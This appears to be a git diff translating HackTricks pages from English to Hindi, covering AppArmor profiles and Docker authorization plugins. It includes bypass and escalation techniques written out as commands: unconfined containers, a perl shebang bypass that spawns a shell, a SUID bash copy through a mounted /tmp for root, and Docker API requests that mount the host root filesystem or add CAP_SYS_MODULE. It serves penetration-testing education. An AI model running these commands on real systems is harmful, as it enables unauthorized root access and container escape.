फिर **enforce** कर सकते हैं नया प्रोफ़ाइल के साथ ```bash sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` +### लॉग से प्रोफ़ाइल को संशोधित करना -### Modifying a profile from logs - -The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions: - +निम्नलिखित उपकरण लॉग को पढ़ेगा और उपयोगकर्ता से पूछेगा कि क्या वह कुछ पहचानी गई प्रतिबंधित क्रियाओं की अनुमति देना चाहता है: ```bash sudo aa-logprof ``` - > [!NOTE] -> Using the arrow keys you can select what you want to allow/deny/whatever - -### Managing a Profile +> तीर कुंजियों का उपयोग करके आप चुन सकते हैं कि आप क्या अनुमति देना/अस्वीकृत करना/कुछ और करना चाहते हैं +### प्रोफ़ाइल प्रबंधित करना ```bash #Main profile management commands apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode @@ -131,18 +118,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile ``` - ## Logs Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**: - ```bash type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000 type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 ``` - -You can also get this information using: - +आप इस जानकारी को निम्नलिखित का उपयोग करके भी प्राप्त कर सकते हैं: ```bash sudo aa-notify -s 1 -v Profile: /bin/service_bin @@ -160,126 +143,104 @@ Logfile: /var/log/audit/audit.log AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021) For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor ``` +## Docker में Apparmor -## Apparmor in Docker - -Note how the profile **docker-profile** of docker is loaded by default: - +ध्यान दें कि **docker-profile** का प्रोफ़ाइल डॉकर द्वारा डिफ़ॉल्ट रूप से लोड किया जाता है: ```bash sudo aa-status apparmor module is loaded. 50 profiles are loaded. 13 profiles are in enforce mode. - /sbin/dhclient - /usr/bin/lxc-start - /usr/lib/NetworkManager/nm-dhcp-client.action - /usr/lib/NetworkManager/nm-dhcp-helper - /usr/lib/chromium-browser/chromium-browser//browser_java - /usr/lib/chromium-browser/chromium-browser//browser_openjdk - /usr/lib/chromium-browser/chromium-browser//sanitized_helper - /usr/lib/connman/scripts/dhclient-script - docker-default +/sbin/dhclient +/usr/bin/lxc-start +/usr/lib/NetworkManager/nm-dhcp-client.action +/usr/lib/NetworkManager/nm-dhcp-helper +/usr/lib/chromium-browser/chromium-browser//browser_java +/usr/lib/chromium-browser/chromium-browser//browser_openjdk +/usr/lib/chromium-browser/chromium-browser//sanitized_helper +/usr/lib/connman/scripts/dhclient-script +docker-default ``` +डिफ़ॉल्ट रूप से **Apparmor docker-default profile** [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) से उत्पन्न होता है। -By default **Apparmor docker-default profile** is generated from [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +**docker-default profile सारांश**: -**docker-default profile Summary**: - -- **Access** to all **networking** -- **No capability** is defined (However, some capabilities will come from including basic base rules i.e. #include \ ) -- **Writing** to any **/proc** file is **not allowed** -- Other **subdirectories**/**files** of /**proc** and /**sys** are **denied** read/write/lock/link/execute access -- **Mount** is **not allowed** -- **Ptrace** can only be run on a process that is confined by **same apparmor profile** - -Once you **run a docker container** you should see the following output: +- सभी **नेटवर्किंग** तक **पहुँच** +- **कोई क्षमता** परिभाषित नहीं है (हालांकि, कुछ क्षमताएँ बुनियादी आधार नियमों को शामिल करने से आएँगी यानी #include \) +- किसी भी **/proc** फ़ाइल में **लिखना** **अनुमति नहीं है** +- /**proc** और /**sys** के अन्य **उपनिर्देशिकाएँ**/**फ़ाइलें** पढ़ने/लिखने/लॉक/लिंक/कार्य करने की पहुँच **अस्वीकृत** हैं +- **माउंट** **अनुमति नहीं है** +- **Ptrace** केवल उस प्रक्रिया पर चलाया जा सकता है जो **एक ही apparmor profile** द्वारा सीमित है +एक बार जब आप **docker container** चलाते हैं, तो आपको निम्नलिखित आउटपुट देखना चाहिए: ```bash 1 processes are in enforce mode. - docker-default (825) +docker-default (825) ``` - -Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS_ADMIN capability is granted** because by default docker apparmor profile denies this access: - +ध्यान दें कि **apparmor डिफ़ॉल्ट रूप से कंटेनर को दी गई क्षमताओं के विशेषाधिकारों को भी ब्लॉक करेगा**। उदाहरण के लिए, यह **/proc के अंदर लिखने की अनुमति को ब्लॉक करने में सक्षम होगा, भले ही SYS_ADMIN क्षमता दी गई हो** क्योंकि डिफ़ॉल्ट रूप से docker apparmor प्रोफ़ाइल इस एक्सेस को अस्वीकार करती है: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash echo "" > /proc/stat sh: 1: cannot create /proc/stat: Permission denied ``` - -You need to **disable apparmor** to bypass its restrictions: - +आपको इसकी सीमाओं को बायपास करने के लिए **apparmor** को निष्क्रिय करना होगा: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash ``` +ध्यान दें कि डिफ़ॉल्ट रूप से **AppArmor** भी **कंटेनर को अंदर से** फ़ोल्डर माउंट करने **से मना करेगा** भले ही SYS_ADMIN क्षमता हो। -Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS_ADMIN capability. +ध्यान दें कि आप **docker** कंटेनर में **क्षमताएँ** **जोड़/हटा** सकते हैं (यह अभी भी **AppArmor** और **Seccomp** जैसी सुरक्षा विधियों द्वारा प्रतिबंधित रहेगा): -Note that you can **add/remove** **capabilities** to the docker container (this will be still restricted by protection methods like **AppArmor** and **Seccomp**): - -- `--cap-add=SYS_ADMIN` give `SYS_ADMIN` cap -- `--cap-add=ALL` give all caps -- `--cap-drop=ALL --cap-add=SYS_PTRACE` drop all caps and only give `SYS_PTRACE` +- `--cap-add=SYS_ADMIN` `SYS_ADMIN` क्षमता दें +- `--cap-add=ALL` सभी क्षमताएँ दें +- `--cap-drop=ALL --cap-add=SYS_PTRACE` सभी क्षमताएँ हटा दें और केवल `SYS_PTRACE` दें > [!NOTE] -> Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**. +> आमतौर पर, जब आप **पाते** हैं कि आपके पास एक **विशिष्ट क्षमता** **docker** कंटेनर के **अंदर** उपलब्ध है **लेकिन** **शोषण का कुछ हिस्सा काम नहीं कर रहा है**, तो इसका कारण यह होगा कि docker **apparmor इसे रोक रहा होगा**। -### Example +### उदाहरण -(Example from [**here**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)) - -To illustrate AppArmor functionality, I created a new Docker profile “mydocker” with the following line added: +(उदाहरण [**यहां**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) से) +AppArmor कार्यक्षमता को स्पष्ट करने के लिए, मैंने निम्नलिखित पंक्ति के साथ एक नया Docker प्रोफ़ाइल "mydocker" बनाया: ``` deny /etc/* w, # deny write for all files directly in /etc (not in a subdir) ``` - -To activate the profile, we need to do the following: - +प्रोफ़ाइल को सक्रिय करने के लिए, हमें निम्नलिखित करना होगा: ``` sudo apparmor_parser -r -W mydocker ``` - -To list the profiles, we can do the following command. The command below is listing my new AppArmor profile. - +प्रोफाइल की सूची बनाने के लिए, हम निम्नलिखित कमांड कर सकते हैं। नीचे दी गई कमांड मेरे नए AppArmor प्रोफाइल को सूचीबद्ध कर रही है। ``` $ sudo apparmor_status | grep mydocker - mydocker +mydocker ``` - -As shown below, we get error when trying to change “/etc/” since AppArmor profile is preventing write access to “/etc”. - +जैसा कि नीचे दिखाया गया है, जब हम “/etc/” को बदलने की कोशिश करते हैं तो हमें त्रुटि मिलती है क्योंकि AppArmor प्रोफ़ाइल “/etc” पर लिखने की अनुमति को रोक रही है। ``` $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname chmod: /etc/hostname: Permission denied ``` - ### AppArmor Docker Bypass1 -You can find which **apparmor profile is running a container** using: - +आप यह पता लगा सकते हैं कि **कौन सा apparmor प्रोफ़ाइल एक कंटेनर चला रहा है**: ```bash docker inspect 9d622d73a614 | grep lowpriv - "AppArmorProfile": "lowpriv", - "apparmor=lowpriv" +"AppArmorProfile": "lowpriv", +"apparmor=lowpriv" ``` - -Then, you can run the following line to **find the exact profile being used**: - +फिर, आप निम्नलिखित पंक्ति चला सकते हैं **सटीक प्रोफ़ाइल खोजने के लिए जो उपयोग की जा रही है**: ```bash find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null ``` - -In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them. +अजीब स्थिति में आप **apparmor docker प्रोफ़ाइल को संशोधित कर सकते हैं और इसे फिर से लोड कर सकते हैं।** आप प्रतिबंधों को हटा सकते हैं और "बायपास" कर सकते हैं। ### AppArmor Docker Bypass2 -**AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**. +**AppArmor पथ आधारित है**, इसका मतलब है कि भले ही यह एक निर्देशिका के अंदर फ़ाइलों की **रक्षा** कर रहा हो जैसे कि **`/proc`** यदि आप **कॉन्फ़िगर कर सकते हैं कि कंटेनर कैसे चलाया जाएगा**, आप **होस्ट के proc निर्देशिका को** **`/host/proc`** के अंदर **माउंट** कर सकते हैं और यह **अब AppArmor द्वारा संरक्षित नहीं होगा**। ### AppArmor Shebang Bypass -In [**this bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) you can see an example of how **even if you are preventing perl to be run with certain resources**, if you just create a a shell script **specifying** in the first line **`#!/usr/bin/perl`** and you **execute the file directly**, you will be able to execute whatever you want. E.g.: - +[**इस बग**](https://bugs.launchpad.net/apparmor/+bug/1911431) में आप देख सकते हैं कि कैसे **भले ही आप perl को कुछ संसाधनों के साथ चलाने से रोक रहे हों**, यदि आप बस एक शेल स्क्रिप्ट **बनाते हैं** **`#!/usr/bin/perl`** को पहले पंक्ति में **निर्दिष्ट करते हैं** और आप **फाइल को सीधे निष्पादित करते हैं**, तो आप जो चाहें उसे निष्पादित कर सकेंगे। उदाहरण के लिए: ```perl echo '#!/usr/bin/perl use POSIX qw(strftime); @@ -289,5 +250,4 @@ exec "/bin/sh"' > /tmp/test.pl chmod +x /tmp/test.pl /tmp/test.pl ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md index 3cef5bc8e..a1cf3ff09 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md +++ b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md @@ -1,75 +1,70 @@ {{#include ../../../banners/hacktricks-training.md}} -**Docker’s** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Docker’s Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access** policies for managing access to the Docker daemon. +**Docker** का बॉक्स से बाहर का **अधिकार** मॉडल **सब या कुछ नहीं** है। किसी भी उपयोगकर्ता को जो Docker डेमन तक पहुँचने की अनुमति रखता है, वह **किसी भी** Docker क्लाइंट **कमांड** को **चलाने** की अनुमति है। यह Docker के इंजन API का उपयोग करने वाले कॉलर्स के लिए भी सच है। यदि आपको **अधिक पहुँच नियंत्रण** की आवश्यकता है, तो आप **अधिकार प्लगइन्स** बना सकते हैं और उन्हें अपने Docker डेमन कॉन्फ़िगरेशन में जोड़ सकते हैं। एक अधिकार प्लगइन का उपयोग करके, एक Docker प्रशासक **सूक्ष्म पहुँच** नीतियों को Docker डेमन तक पहुँच प्रबंधित करने के लिए **कॉन्फ़िगर** कर सकता है। -# Basic architecture +# बुनियादी आर्किटेक्चर -Docker Auth plugins are **external** **plugins** you can use to **allow/deny** **actions** requested to the Docker Daemon **depending** on the **user** that requested it and the **action** **requested**. +Docker Auth प्लगइन्स **बाहरी** **प्लगइन्स** हैं जिन्हें आप **कार्रवाइयों** को **अनुमति/अस्वीकृति** देने के लिए उपयोग कर सकते हैं जो Docker डेमन को **उपयोगकर्ता** के आधार पर अनुरोध की गई हैं और **अनुरोधित** **कार्रवाई** पर निर्भर करती हैं। -**[The following info is from the docs](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)** +**[निम्नलिखित जानकारी दस्तावेज़ों से है](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)** -When an **HTTP** **request** is made to the Docker **daemon** through the CLI or via the Engine API, the **authentication** **subsystem** **passes** the request to the installed **authentication** **plugin**(s). The request contains the user (caller) and command context. The **plugin** is responsible for deciding whether to **allow** or **deny** the request. +जब एक **HTTP** **अनुरोध** Docker **डेमन** को CLI के माध्यम से या इंजन API के माध्यम से किया जाता है, तो **प्रमाणीकरण** **उपप्रणाली** **अनुरोध** को स्थापित **प्रमाणीकरण** **प्लगइन**(s) को **भेजती** है। अनुरोध में उपयोगकर्ता (कॉलर) और कमांड संदर्भ होता है। **प्लगइन** यह तय करने के लिए जिम्मेदार है कि अनुरोध को **अनुमति** दी जाए या **अस्वीकृत** किया जाए। -The sequence diagrams below depict an allow and deny authorization flow: +नीचे दिए गए अनुक्रम आरेख अनुमति और अस्वीकृति अधिकार प्रवाह को दर्शाते हैं: ![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz_allow.png) ![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz_deny.png) -Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method** used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent. +प्रत्येक अनुरोध जो प्लगइन को भेजा जाता है, **प्रमाणित उपयोगकर्ता, HTTP हेडर, और अनुरोध/प्रतिक्रिया शरीर** को शामिल करता है। केवल **उपयोगकर्ता नाम** और **प्रमाणीकरण विधि** जो उपयोग की गई है, प्लगइन को भेजी जाती है। सबसे महत्वपूर्ण बात, **कोई** उपयोगकर्ता **क्रेडेंशियल्स** या टोकन नहीं भेजे जाते हैं। अंत में, **सभी अनुरोध/प्रतिक्रिया शरीर** को अधिकार प्लगइन को नहीं भेजा जाता है। केवल वे अनुरोध/प्रतिक्रिया शरीर जहां `Content-Type` या तो `text/*` या `application/json` है, भेजे जाते हैं। -For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins. +उन कमांड के लिए जो HTTP कनेक्शन को संभावित रूप से हाईजैक कर सकते हैं (`HTTP Upgrade`), जैसे `exec`, अधिकार प्लगइन केवल प्रारंभिक HTTP अनुरोधों के लिए कॉल किया जाता है। एक बार जब प्लगइन कमांड को मंजूरी देता है, तो शेष प्रवाह पर अधिकार लागू नहीं होता है। विशेष रूप से, स्ट्रीमिंग डेटा को अधिकार प्लगइन्स को नहीं भेजा जाता है। उन कमांड के लिए जो चंक्ड HTTP प्रतिक्रिया लौटाते हैं, जैसे `logs` और `events`, केवल HTTP अनुरोध को अधिकार प्लगइन्स को भेजा जाता है। -During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies. +अनुरोध/प्रतिक्रिया प्रसंस्करण के दौरान, कुछ अधिकार प्रवाह को Docker डेमन के लिए अतिरिक्त प्रश्न करने की आवश्यकता हो सकती है। ऐसे प्रवाह को पूरा करने के लिए, प्लगइन्स नियमित उपयोगकर्ता के समान डेमन API को कॉल कर सकते हैं। इन अतिरिक्त प्रश्नों को सक्षम करने के लिए, प्लगइन को एक प्रशासक को उचित प्रमाणीकरण और सुरक्षा नीतियों को कॉन्फ़िगर करने के लिए साधन प्रदान करना चाहिए। -## Several Plugins +## कई प्लगइन्स -You are responsible for **registering** your **plugin** as part of the Docker daemon **startup**. You can install **multiple plugins and chain them together**. This chain can be ordered. Each request to the daemon passes in order through the chain. Only when **all the plugins grant access** to the resource, is the access granted. +आप **पंजीकरण** के लिए जिम्मेदार हैं अपने **प्लगइन** को Docker डेमन **स्टार्टअप** के हिस्से के रूप में। आप **कई प्लगइन्स स्थापित कर सकते हैं और उन्हें एक साथ जोड़ सकते हैं**। यह श्रृंखला क्रमबद्ध हो सकती है। डेमन के लिए प्रत्येक अनुरोध श्रृंखला के माध्यम से क्रम में पास होता है। केवल जब **सभी प्लगइन्स संसाधन तक पहुँच प्रदान करते हैं**, तब पहुँच दी जाती है। -# Plugin Examples +# प्लगइन उदाहरण ## Twistlock AuthZ Broker -The plugin [**authz**](https://github.com/twistlock/authz) allows you to create a simple **JSON** file that the **plugin** will be **reading** to authorize the requests. Therefore, it gives you the opportunity to control very easily which API endpoints can reach each user. +प्लगइन [**authz**](https://github.com/twistlock/authz) आपको एक सरल **JSON** फ़ाइल बनाने की अनुमति देता है जिसे **प्लगइन** अनुरोधों को अधिकृत करने के लिए **पढ़ेगा**। इसलिए, यह आपको बहुत आसानी से नियंत्रित करने का अवसर देता है कि कौन से API एंडपॉइंट प्रत्येक उपयोगकर्ता तक पहुँच सकते हैं। -This is an example that will allow Alice and Bob can create new containers: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` +यह एक उदाहरण है जो एलीस और बॉब को नए कंटेनर बनाने की अनुमति देगा: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` -In the page [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action +पृष्ठ [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) में आप अनुरोधित URL और कार्रवाई के बीच संबंध पा सकते हैं। पृष्ठ [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) में आप कार्रवाई नाम और कार्रवाई के बीच संबंध पा सकते हैं। -## Simple Plugin Tutorial +## सरल प्लगइन ट्यूटोरियल -You can find an **easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot) +आप यहाँ एक **समझने में आसान प्लगइन** पा सकते हैं जिसमें स्थापना और डिबगिंग के बारे में विस्तृत जानकारी है: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot) -Read the `README` and the `plugin.go` code to understand how is it working. +समझने के लिए `README` और `plugin.go` कोड पढ़ें कि यह कैसे काम कर रहा है। # Docker Auth Plugin Bypass -## Enumerate access +## पहुँच की गणना करें -The main things to check are the **which endpoints are allowed** and **which values of HostConfig are allowed**. +जांचने के लिए मुख्य बातें हैं **कौन से एंडपॉइंट्स की अनुमति है** और **कौन से HostConfig के मानों की अनुमति है**। -To perform this enumeration you can **use the tool** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.** +इस गणना को करने के लिए आप **उपकरण** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)** का उपयोग कर सकते हैं।** -## disallowed `run --privileged` - -### Minimum Privileges +## अस्वीकृत `run --privileged` +### न्यूनतम विशेषाधिकार ```bash docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash ``` +### एक कंटेनर चलाना और फिर एक विशेषाधिकार प्राप्त सत्र प्राप्त करना -### Running a container and then getting a privileged session - -In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container: - +इस मामले में sysadmin ने **उपयोगकर्ताओं को वॉल्यूम माउंट करने और `--privileged` फ्लैग के साथ कंटेनर चलाने** या कंटेनर को कोई अतिरिक्त क्षमता देने की अनुमति नहीं दी: ```bash docker run -d --privileged modified-ubuntu docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed. See 'docker run --help'. ``` - -However, a user can **create a shell inside the running container and give it the extra privileges**: - +हालांकि, एक उपयोगकर्ता **चल रहे कंटेनर के अंदर एक शेल बना सकता है और उसे अतिरिक्त विशेषाधिकार दे सकता है**: ```bash docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu #bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de @@ -81,42 +76,38 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be # With --cap-add=SYS_ADMIN docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash ``` +अब, उपयोगकर्ता किसी भी [**पहले चर्चा की गई तकनीकों**](./#privileged-flag) का उपयोग करके कंटेनर से बाहर निकल सकता है और **होस्ट के अंदर विशेषाधिकार बढ़ा सकता है**। -Now, the user can escape from the container using any of the [**previously discussed techniques**](./#privileged-flag) and **escalate privileges** inside the host. - -## Mount Writable Folder - -In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder: +## लिखने योग्य फ़ोल्डर माउंट करें +इस मामले में, सिस्टम प्रशासक ने **उपयोगकर्ताओं को `--privileged` ध्वज के साथ कंटेनर चलाने की अनुमति नहीं दी** या कंटेनर को कोई अतिरिक्त क्षमता देने की अनुमति नहीं दी, और उसने केवल `/tmp` फ़ोल्डर को माउंट करने की अनुमति दी: ```bash host> cp /bin/bash /tmp #Cerate a copy of bash host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell docker container> chown root:root /host/bash docker container> chmod u+s /host/bash host> /tmp/bash - -p #This will give you a shell as root +-p #This will give you a shell as root ``` - > [!NOTE] -> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` +> ध्यान दें कि आप शायद `/tmp` फ़ोल्डर को माउंट नहीं कर सकते, लेकिन आप एक **विभिन्न लिखने योग्य फ़ोल्डर** को माउंट कर सकते हैं। आप लिखने योग्य निर्देशिकाएँ खोजने के लिए: `find / -writable -type d 2>/dev/null` का उपयोग कर सकते हैं। > -> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. +> **ध्यान दें कि लिनक्स मशीन में सभी निर्देशिकाएँ suid बिट का समर्थन नहीं करेंगी!** यह जांचने के लिए कि कौन सी निर्देशिकाएँ suid बिट का समर्थन करती हैं, `mount | grep -v "nosuid"` चलाएँ। उदाहरण के लिए, आमतौर पर `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` और `/var/lib/lxcfs` suid बिट का समर्थन नहीं करते हैं। > -> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) +> यह भी ध्यान दें कि यदि आप **`/etc`** या किसी अन्य फ़ोल्डर को **कॉन्फ़िगरेशन फ़ाइलें** शामिल करते हुए **माउंट कर सकते हैं**, तो आप उन्हें रूट के रूप में डॉकर कंटेनर से बदल सकते हैं ताकि आप **होस्ट में उनका दुरुपयोग कर सकें** और विशेषाधिकार बढ़ा सकें (शायद `/etc/shadow` को संशोधित करके)। ## Unchecked API Endpoint -The responsibility of the sysadmin configuring this plugin would be to control which actions and with which privileges each user can perform. Therefore, if the admin takes a **blacklist** approach with the endpoints and the attributes he might **forget some of them** that could allow an attacker to **escalate privileges.** +इस प्लगइन को कॉन्फ़िगर करने वाले सिस्टम प्रशासक की जिम्मेदारी यह होगी कि वह यह नियंत्रित करे कि प्रत्येक उपयोगकर्ता कौन सी क्रियाएँ और किस विशेषाधिकार के साथ कर सकता है। इसलिए, यदि प्रशासक ने अंत बिंदुओं और विशेषताओं के साथ **ब्लैकलिस्ट** दृष्टिकोण अपनाया है, तो वह कुछ **भूल सकता है** जो हमलावर को **विशेषाधिकार बढ़ाने** की अनुमति दे सकता है। -You can check the docker API in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) +आप डॉकर API की जांच कर सकते हैं [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) ## Unchecked JSON Structure ### Binds in root -It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Binds**".\ -In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host: - +संभव है कि जब सिस्टम प्रशासक ने डॉकर फ़ायरवॉल कॉन्फ़िगर किया, तो उसने [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) के कुछ महत्वपूर्ण पैरामीटर को **भूल गया** जैसे "**Binds**"।\ +निम्नलिखित उदाहरण में, इस गलत कॉन्फ़िगरेशन का दुरुपयोग करके एक कंटेनर बनाना और चलाना संभव है जो होस्ट के रूट (/) फ़ोल्डर को माउंट करता है: ```bash docker version #First, find the API version of docker, 1.40 in this example docker images #List the images available @@ -126,38 +117,30 @@ docker start f6932bc153ad #Start the created privileged container docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it #You can access the host filesystem ``` - > [!WARNING] -> Note how in this example we are using the **`Binds`** param as a root level key in the JSON but in the API it appears under the key **`HostConfig`** +> ध्यान दें कि इस उदाहरण में हम **`Binds`** पैरामीटर का उपयोग JSON में एक रूट स्तर की कुंजी के रूप में कर रहे हैं लेकिन API में यह **`HostConfig`** कुंजी के तहत दिखाई देता है। -### Binds in HostConfig - -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: +### HostConfig में Binds +**Docker API** पर इस **request** को करते समय **Binds in root** के साथ वही निर्देशों का पालन करें: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create ``` - ### Mounts in root -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: - +**Binds in root** के साथ वही निर्देशों का पालन करें इस **request** को Docker API पर करते हुए: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create ``` - ### Mounts in HostConfig -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: - +**रूट** में **बाइंड्स** के साथ वही निर्देशों का पालन करते हुए इस **अनुरोध** को Docker API पर करें: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre ``` - ## Unchecked JSON Attribute -It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS_MODULE** capability: - +यह संभव है कि जब सिस्टम प्रशासक ने डॉकर फ़ायरवॉल को कॉन्फ़िगर किया, तो उसने [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) के एक पैरामीटर के "**Capabilities**" जैसे कुछ महत्वपूर्ण विशेषता के बारे में **भूल गया**। निम्नलिखित उदाहरण में, इस गलत कॉन्फ़िगरेशन का दुरुपयोग करके **SYS_MODULE** क्षमता के साथ एक कंटेनर बनाने और चलाने की संभावना है: ```bash docker version curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create @@ -167,14 +150,12 @@ docker exec -it c52a77629a91 bash capsh --print #You can abuse the SYS_MODULE capability ``` - > [!NOTE] -> The **`HostConfig`** is the key that usually contains the **interesting** **privileges** to escape from the container. However, as we have discussed previously, note how using Binds outside of it also works and may allow you to bypass restrictions. +> **`HostConfig`** वह कुंजी है जो आमतौर पर कंटेनर से बाहर निकलने के लिए **दिलचस्प** **अधिकार** रखती है। हालाँकि, जैसा कि हमने पहले चर्चा की है, ध्यान दें कि इसके बाहर Binds का उपयोग करना भी काम करता है और 